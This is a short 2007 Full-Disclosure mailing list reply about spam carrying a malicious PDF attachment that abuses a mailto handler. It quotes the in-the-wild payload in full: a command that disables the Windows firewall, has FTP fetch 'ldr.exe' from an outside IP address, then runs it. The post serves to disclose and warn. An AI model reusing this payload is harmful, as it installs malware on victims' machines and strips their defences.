Re: PDF mailto exploit in the wild

yes, it try to open:

mailt0:%/../../../../../../Windows/system32/cmd".exe"" /c /q \"@echo
off&netsh firewall set opmode mode=disable&echo o 81.95.146.130>1&echo
binary>>1&echo get /ldr.exe>>1&echo quit>>1&ftp -s:1 -v -A>nul&del /q 1&
start ldr.exe&\" \"&\" "nul.bat"

PS. mailt0 == mailto
PPS. ***king spammers

2007/10/23, Paul Szabo <psz_at_maths.usyd.edu.au>:
>
> In case you are interested... messages like the following were spammed
> to my users tonight.
>
> > Content-Transfer-Encoding: base64
> > Content-Disposition: attachment;
> > filename="INVOICE.pdf"
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Received on Oct 23 2007